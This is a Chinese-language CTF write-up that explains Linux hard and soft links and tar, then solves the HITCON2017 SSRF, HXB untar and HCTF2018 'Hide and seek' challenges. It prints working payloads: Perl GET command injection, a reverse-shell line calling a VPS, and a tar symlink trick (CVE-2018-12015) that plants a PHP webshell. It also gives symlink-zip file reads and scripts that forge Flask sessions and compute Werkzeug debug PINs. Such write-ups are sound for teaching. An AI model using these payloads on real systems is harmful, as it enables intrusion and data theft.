Linux下的链接与归档

近期某py大赛上有道题考察了链接和归档这个知识点,以前也不是很熟悉,在此学习总结一下

Linux 硬链接与软链接

ext文件系统(Linux 文件系统)会把分区主要分为两大部分:小部分用于保存文件的inode信息;剩余的大部分用于保存block信息

block的大小可以使1kb、2kb、4kb,默认为4kb。block用于存储实际文件的数据,如果一个block放不下数据,则可占用多个block。

inode默认大小为128字节,用来记录文件的权限、大小、最近一次的修改时间、数据所在block的编号等信息。inode不会记录文件名称,而是把文件名记录在上级目录的block中。不同文件的inode号是不一样的

可以使用ls -i来查看文件的inode号

当多个文件名指向同一inode,那么这就构成了硬链接。当两个文件名指向同一inode,那么这两个文件的内容会一模一样,inode也会一样。当删除其中一个文件后,另一个文件的inode、内容等信息丝毫不受影响,可以认为这两个文件互为备份文件。

创建硬链接命令:

ln 源文件 链接文件

只能对文件创建硬链接,不能对目录进行创建

现在在文件夹中创建一个a.txt,用命令ls -li查看文件详细信息+inode号(最前面的数字):

再创建一个文件b.txt,内容同a.txt:

可以看到,即使两个文件内容一样,inode号也是不一样的

现创建硬链接c.txt:

创建之后,a.txt和c.txt的inode是一样的,且他们的创建时间等属性都一模一样

现将a.txt删除,c.txt丝毫不受影响:

类似Windows系统中的快捷方式。软链接就是一个普通文件,存储了另一文件路径名的指向。软链接可以对文件或目录创建

对b.txt创建软链接soft.txt:

可以看到,这两个文件的inode、属性都是不一样的,且soft.txt显示了其指向的文件

现将b.txt删除,再查看soft.txt内容:

因为原文件没了,那么现在soft.txt相当于一个无效的文件了

Linux tar

tar命令可以为Linux文件和目录创建档案(备份文件),可以在档案中改变文件或加入新的文件。利用tar命令,可以把一大堆的文件和目录全部打包成一个文件。

tar与zip区别:tar是打包命令,将一大堆文件或目录变成一个总文件;zip是压缩命令,通过压缩算法将一个大文件变成一个小文件

常用参数:

  • -c:创建一个新归档
  • -f:使用归档文件或 ARCHIVE 设备
  • -v:详细地列出处理的文件
  • -z:通过 gzip 过滤文档
  • -j:通过 bzip2 过滤文档
  • --transform=EXPRESSION:使用 sed 代替 EXPRESSION 来进行文件名替换

例如:

tar -cvf log.tar log.log    仅打包,不压缩
tar -zcvf log.tar.gz log.log   打包后,以 gzip 压缩 

HITCON2017 SSRF

在分析HXB untar这个题目前,先来看下其原型:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

相关函数:

escapeshellarg()

escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数

pathinfo()

pathinfo() 返回一个关联数组包含有 path 的信息。返回关联数组还是字符串取决于 options。 
options 如果指定了,将会返回指定元素;它们包括:PATHINFO_DIRNAME,PATHINFO_BASENAME 和 PATHINFO_EXTENSION 或 PATHINFO_FILENAME。如果没有指定 options 默认是返回全部的单元。

basename()

返回路径中的文件名部分

在沙箱中写入php代码,发现其并没有将其当做php代码来执行

代码中使用shell_exec执行了GET命令。GET是Lib for WWW in Perl中的命令,目的是模拟http的GET请求。

perl的open命令可能会导致命令执行。参考

https://mailman.linuxchix.org/pipermail/courses/2003-September/001344.html

当GET使用file:协议时就会调用perl的open函数,可以执行命令,例如:

GET file:|ls
GET file:ls|

GET命令后除了可以为URL、文件名,还可以跟./,可以列出当前目录;跟../,可以列出上级目录。利用目录穿越,可以找到根目录下的readflag文件

payload1.执行readflag

url=/etc/passwd&filename=bash -c /readflag|
url=file:bash -c /readflag|&filename=a

payload2.反弹shell

url=http://your_vps/port&filename=a # 首先在vps上写上反弹shell的脚本
url=/etc/passwd&filename=bash a|
url=file:bash a|&filename=xxx

HXB untar题目分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$sandbox = "sandbox/" . md5($_SERVER["REMOTE_ADDR"]);
echo $sandbox."</br>";
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET["url"]) && !preg_match('/^(http|https):\/\/.*/', $_GET["url"]))
die();
$url = str_replace("|", "", $_GET["url"]);
$data = shell_exec("GET " . escapeshellarg($url));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
shell_exec("UNTAR ".escapeshellarg(basename($info["basename"])));
highlight_file(__FILE__);

在沙箱中写入php代码,也没有将其当做php代码来执行

和上面HITCON SSRF对比,多了两个过滤:

if (isset($_GET["url"]) && !preg_match('/^(http|https):\/\/.*/', $_GET["url"]))
$url  = str_replace("|", "", $_GET["url"]);

最后多了步UNTAR操作:

shell_exec("UNTAR ".escapeshellarg(basename($info["basename"])));

UNTAR相关的CVE:CVE-2018-12015:

Perl是美国程序员拉里-沃尔(Larry Wall)所研发的一种免费且功能强大的跨平台编程语言。Archive::Tar module是其中的一个用于处理tar文件的模块。 Perl 5.26.2及之前版本中的Archive::Tar模块存在安全漏洞。攻击者可借助带有相同名称的符号链接和常规文件的归档文件利用该漏洞绕过目录遍历保护机制并覆盖任意文件。 

payload1.利用软链接和归档:

ln -s /var/www/html/sandbox/exp.php exp.php
echo '<?php eval($_POST['a']);' > foo
tar cvf exp.tar * --transform='s/foo/exp.php/g'

即:

exp.php -> /var/www/html/sandbox/exp.php
一句话写入 foo
foo 改名为 exp.php(内容为一句话)

那么此时:

含有一句话的exp.php -> /var/www/html/sandbox/exp.php

UNTAR时,其链接的目标文件不存在,会在sandbox/下创建exp.php,内容为一句话木马,可当做php执行;此时便可通过一句话getshell

将exp.tar放到vps上,访问:

?url=http://your_vps/port/exp.tar&filename=/a/exp.tar

by the way,这个CVE也可以绕过目录限制进行任意文件访问:

可参考:

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=900834

payload2.参考郁离歌师傅的文章,利用UNTAR反弹shell(UNTAR的作用和GET一样):

shell.txt 内容  bash -i >& /dev/tcp/vps/11111 0<&1 2>&1

url=http://vps/shell.txt&filename=a
url=http://vps&filename=bash a|

HCTF2018 Hide and seek

打开题目,输入任意用户名和密码可以直接登录,但不能以admin的身份登录。登录后是一个上传界面,只能上传zip文件,准备一个zip文件:

echo 'hello' > a.txt
zip a.zip a.txt

发现显示了hello,可以推测后端执行了:

unzip a.zip
cat a.txt

那么此时便可用软链接来进行任意文件读取。既然可以进行任意文件读取,那么读什么文件呢?可以利用Linux的进程目录/proc/self

  • /proc/self/cwd:存储着到当前工作目录的符号链接,即启动进程所在的目录
  • /proc/self/environ:存储当前进程的环境变量列表

首先读取当前进程的环境变量列表,构造:

ln -s /proc/self/environ a.txt
zip a.zip a.txt(命令压缩失败可换手动点击压缩)

看到有个/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini文件,进行读取,构造:

ln -s /proc/self/cwd/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini a.txt
zip a.zip a.txt

这里需要弄清各字段含义,相关概念:

  • WSGI:是描述 web server 与 web application 通信的规范
  • uwsgi:与 WSGI 一样是一种通信协议,是 uWSGI 服务器独占协议,用于定义传输信息的类型
  • uWSGI:是一个 web 服务器,实现了 WSGI 协议、uwsgi 协议、http 协议等

配置项:

  • chdir:工程目录
  • module:应用程序文件
  • callable:flask应用实例的名称

那么:

module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main
#对于 it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini 来说,有一个同级目录 hard_t0_guess_n9f5a95b5ku9fg,这个目录下有个hard_t0_guess_also_df45v48ytj9_main.py文件

构造:

ln -s /proc/self/cwd/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py a.txt
zip a.zip a.txt

上传得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
 # -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)

if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'


try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None

os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)


if __name__ == '__main__':
#app.run(debug=True)
app.run(host='0.0.0.0', debug=True, port=10008)

方法一

源码中,得到flag的条件:

if 'username' in session:
    return render_template('index.html', user=session['username'], flag=flag.flag)

flask客户端session包含三部分:

  • 用户数据
  • 时间戳
  • 签名信息

解密客户端session:

1
2
3
4
5
6
from itsdangerous import *
s = "eyJ1c2VybmFtZSI6Imd0Zmx5In0.ELEQgg.21hz7RmSuix3GQFOitsD_nD639A"
data,timestamp,secret = s.split('.')
print(data)
print(base64_decode(data))
print(int.from_bytes(base64_decode(timestamp),byteorder='big'))

得到用户数据信息

b'{"username":"gtfly"}'

那么需要将username改为admin,但需要知道程序的SECRET_KEY。从程序源码我们知道他的SECRET_KEY是随机生成的:

app.config['SECRET_KEY'] = str(random.random()*100)

且上面有个设置随机数种子的操作:

random.seed(uuid.getnode())

python的random随机数是伪随机数,只要种子一样,后面产生的随机数值是一致的。该程序的随机数种子uuid.getnode是网卡的mac地址转换成十进制数,那么读取/sys/class/net/eth0/address,得到02:42:ac:11:00:06

模拟SECRET_KEY生成:

1
2
3
4
5
6
7
8
9
10
11
12
import uuid
import random

mac = "02:42:ac:11:00:06"
temp = mac.split(':')
temp = [int(i,16) for i in temp]
temp = [bin(i).replace('0b','').zfill(8) for i in temp]
temp = ''.join(temp)
mac = int(temp,2)
random.seed(mac)
randStr = str(random.random()*100)
print(randStr)

得到SECRET_KEY:86.41247549468287

生成session:

1
2
3
4
5
6
7
8
9
10
11
from flask import Flask,session
app = Flask(__name__)
app.config['SECRET_KEY'] = '86.41247549468287'
@app.route('/')
def index():
session['username'] = 'admin'
print(session)
return 'hello world'

if __name__ == "__main__":
app.run(host='127.0.0.1', port=5000, debug=True)

访问127.0.0.1:5000,将得到的session进行替换即可得到flag

方法二

参考小王同学的文章:

https://wangchangze.github.io/2019/09/29/%E4%BB%8EHCTF2018%E9%9D%9E%E9%A2%84%E6%9C%9F%E8%A7%A3flask%E7%9A%84debug%E6%A8%A1%E5%BC%8F/

获取到的源码中可以看到debug模式是开启了的,那么可以通过/console路由进入交互式pyhton shell,不过要输入 PIN 码,根据 PIN 码生成流程,我们需要知道:

username # 当前主机用户名,可以查看/etc/passwd得知
modname # flask.app
getattr(app, '__name__', getattr(app.__class__, '__name__')) # Flask
getattr(mod, '__file__', None) # flask包的app.py的绝对路径,可根据/proc/self/eviron得到python的版本从而得到
str(uuid.getnode()) # 网卡地址的十进制
get_machine_id() # 机器码,位于/etc/machine-id

读取相应文件,得到:

root
flask.app
Flask
/usr/local/lib/python3.6/site-packages/flask/app.py
2485377892358
e89ed93837262f1d6b20cd9e97e84170

用脚本跑出 PIN 码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import hashlib
from itertools import chain
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.6/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'2485377892358',# str(uuid.getnode()), /sys/class/net/ens33/address
b'e89ed93837262f1d6b20cd9e97e84170'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

即可直接命令执行查看flag


参考:

https://www.jianshu.com/p/15f10490b0e7

https://mp.weixin.qq.com/s/2Ujv6yy4Clhrj_jUa6Pg2Q

https://lihuaiqiu.github.io/2019/07/13/BUUCTF-Writeup-%E4%B8%80/

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=900834

https://www.anquanke.com/post/id/192605#h2-0

https://www.jianshu.com/p/d20168da7284

https://wangchangze.github.io/2019/09/29/%E4%BB%8EHCTF2018%E9%9D%9E%E9%A2%84%E6%9C%9F%E8%A7%A3flask%E7%9A%84debug%E6%A8%A1%E5%BC%8F/

http://momomoxiaoxi.com/ctf/2018/11/12/HCTF2018/